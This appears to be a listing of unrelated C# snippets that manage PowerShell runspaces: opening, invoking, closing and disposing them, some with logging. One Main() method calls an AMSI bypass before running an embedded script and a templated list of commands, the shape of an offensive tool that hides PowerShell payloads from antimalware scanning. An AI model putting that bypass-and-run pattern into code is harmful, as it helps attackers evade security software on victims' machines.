public static Collection<PSObject> Exec(Runspace runspace, string script) { runspace.Open(); PowerShell shell = PowerShell.Create(); shell.Runspace = runspace; shell.AddScript(script); Collection<PSObject> ret = shell.Invoke(); try { shell.Dispose(); runspace.Close(); } catch (Exception) { } return ret; }
public static Collection<PSObject> Exec(Runspace runspace, Command command) { PowerShell shell = PowerShell.Create(); shell.Runspace = runspace; Command import = new Command("Import-Module"); import.Parameters.Add("Name", "CoApp"); shell.Commands.AddCommand(import); shell.Invoke(); shell.Commands.Clear(); shell.Commands.AddScript(command.ToString()); Collection<PSObject> ret = shell.Invoke(); try { shell.Dispose(); runspace.Close(); } catch (Exception) { } return ret; }
public static void Main() { const int SW_HIDE = 0; const int SW_SHOW = 5; var handle = Win32.GetConsoleWindow(); // Show Window Win32.ShowWindow(handle, SW_SHOW); var amsi = new Amsi(); amsi.Bypass(); string commandArrayString = "FIXME_FUNCTIONS"; List <string> commandArray = new List <string>(commandArrayString.Split(',')); System.Management.Automation.Runspaces.Runspace runspace = System.Management.Automation.Runspaces.RunspaceFactory.CreateRunspace(); runspace.Open(); System.Management.Automation.Runspaces.Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(ApplicationData.runApp()); foreach (var command in commandArray) { pipeline.Commands.AddScript(command); } runspace.SessionStateProxy.SetVariable("FormatEnumerationLimit", -1); pipeline.Commands.Add("Out-String"); System.Collections.ObjectModel.Collection <System.Management.Automation.PSObject> results = pipeline.Invoke(); runspace.Close(); System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(); foreach (System.Management.Automation.PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } System.Console.WriteLine(stringBuilder.ToString()); }
internal void CloseRunspace(Runspace runspace) { try { if (runspace != null && runspace.RunspaceStateInfo.State == RunspaceState.Opened) { runspace.Close(); runspaceConfiguration = null; } } catch (Exception ex) { HostedSolutionLog.LogError("Runspace error", ex); } }
protected void DestroyRunspace(Runspace runspace) { runspace.Events.ForwardEvent -= new EventHandler<PSEventArgs>(this.OnRunspaceForwardEvent); runspace.Close(); runspace.Dispose(); lock (this.runspaceList) { this.runspaceList.Remove(runspace); this.totalRunspaces = this.runspaceList.Count; } }
public virtual void Close() { runspace.Close(); }
internal void CloseRunspace(Runspace runspace) { try { if (runspace != null && runspace.RunspaceStateInfo.State == RunspaceState.Opened) { runspace.Close(); } } catch (Exception ex) { ExchangeLog.LogError("Runspace error", ex); } }
protected void CloseRunspace(Runspace runspace) { try { if (runspace != null && runspace.RunspaceStateInfo.State == RunspaceState.Opened) { runspace.Close(); } } catch (Exception ex) { Log.WriteError("Runspace error", ex); } }